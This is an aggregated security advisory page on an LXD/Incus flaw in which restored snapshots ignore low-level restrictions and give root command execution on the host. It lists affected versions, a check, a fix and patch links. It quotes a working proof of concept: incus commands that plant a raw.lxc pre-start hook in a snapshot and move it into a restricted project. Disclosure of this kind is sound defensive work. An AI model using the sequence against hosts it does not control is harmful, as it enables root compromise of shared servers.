---
id: "GHSA-47w9-6r3f-938g"
page: "https://infrastack.ai/live/GHSA-47w9-6r3f-938g"
kind: "vulnerability"
aliases: ["GHSA-47w9-6r3f-938g"]
title: "LXD has restricted project bypass leading to arbitrary command execution"
severity: "critical"
cvss: 9.9
epss: null
exploited: false
status: "open"
category: "infrastructure"
products: [{"name": "github.com/canonical/lxd", "fixed": ["0.0.0-20260630083100-c5184be310b1"], "affected": "< 0.0.0-20260630083100-c5184be310b1", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-862", "go", "infrastructure", "linux", "lxd", "self-hosted"]
not_affected_if: ["no-restricted-projects", "single-project-host"]
published_at: "2026-11-06T19:51:26+00:00"
first_seen_at: "2026-11-06T19:53:29+00:00"
updated_at: "2026-11-06T19:53:56+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-47w9-6r3f-938g", "first_seen_at": "2026-11-06T19:53:29+00:00"}]
exploit_sources: []
---

# LXD has restricted project bypass leading to arbitrary command execution

Link for people: https://infrastack.ai/live/GHSA-47w9-6r3f-938g (this .md is for agents)

LXD instance snapshots ignore the restricted.containers.lowlevel=block setting, so a crafted snapshot with raw.lxc or raw.qemu hooks can be restored into a restricted project. An attacker who can move and restore snapshots gets arbitrary command execution on the LXD host with root privileges.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/canonical/lxd affected < 0.0.0-20260630083100-c5184be310b1 fixed 0.0.0-20260630083100-c5184be310b1

## How to check

- Check the LXD version with `lxd --version` and compare it with the fixed version below.
- Review projects that set `restricted.containers.lowlevel=block` and whether snapshot restore or move is allowed into them.

## Fix

- Move LXD to a version at or beyond the fixed commit `c5184be310b1` (go module pseudo-version `0.0.0-20260630083100-c5184be310b1`); the sources do not give a release tag.

## Timeline

- 2026-11-06T19:53:29+00:00 ghsa https://github.com/advisories/GHSA-47w9-6r3f-938g

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-47w9-6r3f-938g
- [advisory] Maintainer's advisory: github.com https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19
- [fix] Release: github.com https://github.com/canonical/lxd/releases/tag/lxd-5.0.7
- [fix] Release: github.com https://github.com/canonical/lxd/releases/tag/lxd-5.21.5

## From the sources

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

### Summary

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as `raw.lxc` and `raw.qemu`.


### Details

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as `raw.lxc` and `raw.qemu`.

As snapshots can be moved from one server to another, a malicious
instance+snapshot can be crafted locally, moved to a restricted project
and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands
on the host with root privileges.


### PoC

```
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
```


### Impact

- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_